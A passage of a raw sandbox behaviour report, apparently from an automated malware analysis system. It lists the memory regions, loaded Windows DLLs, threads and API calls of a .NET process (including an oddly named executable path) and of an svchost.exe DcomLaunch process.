filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9357 start_va = 0x1f20000 end_va = 0x1f64fff monitored = 0 entry_point = 0x1f21064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9358 start_va = 0x1f20000 end_va = 0x1f64fff monitored = 0 entry_point = 0x1f21064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9359 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9360 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9450 start_va = 0x1b470000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b470000" filename = "" Region: id = 9464 start_va = 0x1ad10000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 9465 start_va = 0x1b330000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 9466 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9467 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9474 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9490 start_va = 0x1b6a0000 end_va = 0x1b79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6a0000" filename = "" Region: id = 9491 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9494 start_va = 0x1b7d0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7d0000" filename = "" Region: id = 9495 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 9506 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9523 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9541 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9560 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9575 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9716 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9717 start_va = 0x1b8d0000 end_va = 0x1bba1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9718 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9719 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9720 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 9721 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 9722 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 9723 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 9724 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 9725 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9726 start_va = 0x520000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 9727 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 9728 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 9729 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 9730 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Thread: id = 384 os_tid = 0x5f8 [0262.617] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.071] EtwEventRegister (in: ProviderId=0x2195870, EnableCallback=0x1af3135c, CallbackContext=0x0, RegHandle=0x2195850 | out: RegHandle=0x2195850) returned 0x0 [0277.180] EtwEventRegister (in: ProviderId=0x2199ff8, EnableCallback=0x1af313ac, CallbackContext=0x0, RegHandle=0x2199fd8 | out: RegHandle=0x2199fd8) returned 0x0 [0278.657] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xa3f80*=0xd8, lpdwindex=0x3fe7c4 | out: lpdwindex=0x3fe7c4) returned 0x0 [0280.993] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xa3f80*=0xd8, lpdwindex=0x3fe7c4) Thread: id = 446 os_tid = 0x310 Thread: id = 447 os_tid = 0x804 [0263.488] CoGetContextToken (in: pToken=0x1a73f4c0 | out: pToken=0x1a73f4c0) returned 0x800401f0 [0263.488] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 449 os_tid = 0x80c Thread: id = 500 os_tid = 0x8e4 [0278.323] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.330] CoGetContextToken (in: pToken=0x1b1afb50 | out: pToken=0x1b1afb50) returned 0x0 [0278.330] CObjectContext::QueryInterface () returned 0x0 [0278.330] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.330] Release () returned 0x0 [0278.330] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.331] CoUninitialize () [0288.743] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1adf78 | out: phkResult=0x1b1adf78*=0x0) returned 0x2 [0288.743] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.750] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\but inside save.exe", nBufferLength=0x105, lpBuffer=0x1b1aeab0, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\but inside save.exe", lpFilePart=0x0) returned 0x2f Thread: id = 501 os_tid = 0x8e8 Thread: id = 504 os_tid = 0x8f4 Thread: id = 549 os_tid = 0x9b8 Thread: id = 550 os_tid = 0x9bc Thread: id = 551 os_tid = 0x9c0 Thread: id = 564 os_tid = 0x9f4 [0282.871] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.872] CoGetContextToken (in: pToken=0x1b79f710 | out: pToken=0x1b79f710) returned 0x0 [0282.872] CObjectContext::QueryInterface () returned 0x0 [0282.872] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.872] Release () returned 0x0 [0282.872] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.872] CoUninitialize () Thread: id = 565 os_tid = 0x9f8 [0282.874] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.875] CoGetContextToken (in: pToken=0x1b8cf510 | out: pToken=0x1b8cf510) returned 0x0 [0282.875] CObjectContext::QueryInterface () returned 0x0 [0282.875] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.875] Release () returned 0x0 [0282.875] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.875] CoUninitialize () Process: id = "93" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2adff000" os_pid = "0x23c" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "rpc_server" parent_id = "79" os_parent_pid = "0x1c4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00007e78" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 8041 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 8042 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 8043 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 8044 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 8045 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8046 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 8047 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 8048 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 8049 start_va = 0x160000 end_va = 0x16cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 8050 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 8051 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 8052 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8053 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 8054 start_va = 0x1b0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8055 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 8056 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 8057 start_va = 0x340000 end_va = 0x340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 8058 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8059 start_va = 0x3e0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 8060 start_va = 0x4e0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 8061 start_va = 0x5e0000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 8062 start_va = 0x660000 end_va = 0x92efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8063 start_va = 0x930000 end_va = 0xab7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 8064 start_va = 0xac0000 end_va = 0xc40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 8065 start_va = 0xc50000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 8066 start_va = 0xd50000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 8067 start_va = 0xe40000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 8068 start_va = 0xec0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 8069 start_va = 0xfd0000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 8070 start_va = 0x1120000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 8071 start_va = 0x11f0000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 8072 start_va = 0x1270000 end_va = 0x12effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 8073 start_va = 0x1300000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 8074 start_va = 0x13d0000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 8075 start_va = 0x1460000 end_va = 0x14dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 8076 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 8077 start_va = 0x1650000 end_va = 0x16cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 8078 start_va = 0x1740000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 8079 start_va = 0x18d0000 end_va = 0x194ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 8080 start_va = 0x1970000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001970000" filename = "" Region: id = 8081 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8082 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8083 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8084 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 8085 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 8086 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8087 start_va = 0xff8c0000 end_va = 0xff8cafff monitored = 0 entry_point = 0xff8c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 8088 start_va = 0x7fef7ad0000 end_va = 0x7fef7addfff monitored = 0 entry_point = 0x7fef7ad5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 8089 start_va = 0x7fef7d40000 end_va = 0x7fef7d66fff monitored = 0 entry_point = 0x7fef7d411a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 8090 start_va = 0x7fef7d70000 end_va = 0x7fef7e42fff monitored = 0 entry_point = 0x7fef7de8b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 8091 start_va = 0x7fef7e60000 end_va = 0x7fef7e91fff monitored = 0 entry_point = 0x7fef7e7ca90 region_type = mapped_file name = "wmidcprv.dll" filename = "\\Windows\\System32\\wbem\\WmiDcPrv.dll" (normalized: "c:\\windows\\system32\\wbem\\wmidcprv.dll") Region: id = 8092 start_va = 0x7fef86c0000 end_va = 0x7fef8736fff monitored = 0 entry_point = 0x7fef86fe7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 8093 start_va = 0x7fefb920000 end_va = 0x7fefb94cfff monitored = 0 entry_point = 0x7fefb921010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 8094 start_va = 0x7fefb970000 end_va = 0x7fefb990fff monitored = 0 entry_point = 0x7fefb9803b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 8095 start_va = 0x7fefbbd0000 end_va = 0x7fefbbe2fff monitored = 0 entry_point = 0x7fefbbd1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 8096 start_va = 0x7fefbea0000 end_va = 0x7fefbeb0fff monitored = 0 entry_point = 0x7fefbea1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 8097 start_va = 0x7fefcb60000 end_va = 0x7fefcbe0fff monitored = 0 entry_point = 0x7fefcb6cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8098 start_va = 0x7fefcbf0000 end_va = 0x7fefcbfcfff monitored = 0 entry_point = 0x7fefcbf1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 8099 start_va = 0x7fefcc00000 end_va = 0x7fefcc2bfff monitored = 0 entry_point = 0x7fefcc01860 region_type = mapped_file name = "umpo.dll" filename = "\\Windows\\System32\\umpo.dll" (normalized: "c:\\windows\\system32\\umpo.dll") Region: id = 8100 start_va = 0x7fefcc30000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 8101 start_va = 0x7fefcc50000 end_va = 0x7fefcc6dfff monitored = 0 entry_point = 0x7fefcc513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8102 start_va = 0x7fefcc70000 end_va = 0x7fefcc81fff monitored = 0 entry_point = 0x7fefcc71060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 8103 start_va = 0x7fefcc90000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcc95c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 8104 start_va = 0x7fefccb0000 end_va = 0x7fefcd16fff monitored = 0 entry_point = 0x7fefccbd320 region_type = mapped_file name = "umpnpmgr.dll" filename = "\\Windows\\System32\\umpnpmgr.dll" (normalized: "c:\\windows\\system32\\umpnpmgr.dll") Region: id = 8105 start_va = 0x7fefcd60000 end_va = 0x7fefcd69fff monitored = 0 entry_point = 0x7fefcd63cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 8106 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8107 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8108 start_va = 0x7fefd2e0000 end_va = 0x7fefd301fff monitored = 0 entry_point = 0x7fefd2e5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 8109 start_va = 0x7fefd760000 end_va = 0x7fefd784fff monitored = 0 entry_point = 0x7fefd769658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 8110 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8111 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 8112 start_va = 0x7fefd860000 end_va = 0x7fefd89cfff monitored = 0 entry_point = 0x7fefd8618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 8113 start_va = 0x7fefd8a0000 end_va = 0x7fefd8aefff monitored = 0 entry_point = 0x7fefd8a19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8114 start_va = 0x7fefd940000 end_va = 0x7fefd94efff monitored = 0 entry_point = 0x7fefd941020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 8115 start_va = 0x7fefd950000 end_va = 0x7fefd985fff monitored = 0 entry_point = 0x7fefd951474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8116 start_va = 0x7fefd990000 end_va = 0x7fefd9a9fff monitored = 0 entry_point = 0x7fefd991558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8117 start_va = 0x7fefd9b0000 end_va = 0x7fefd9eafff monitored = 0 entry_point = 0x7fefd9b1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 8118 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8119 start_va = 0x7fefdb00000 end_va = 0x7fefdc6cfff monitored = 0 entry_point = 0x7fefdb010b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 8120 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8121 start_va = 0x7fefdca0000 end_va = 0x7fefdcf1fff monitored = 0 entry_point = 0x7fefdca10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 8122 start_va = 0x7fefdd00000 end_va = 0x7fefdd98fff monitored = 0 entry_point = 0x7fefdd01c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 8123 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8124 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8125 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8126 start_va = 0x7fefe410000 end_va = 0x7fefe5e6fff monitored = 0 entry_point = 0x7fefe411010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 8127 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: 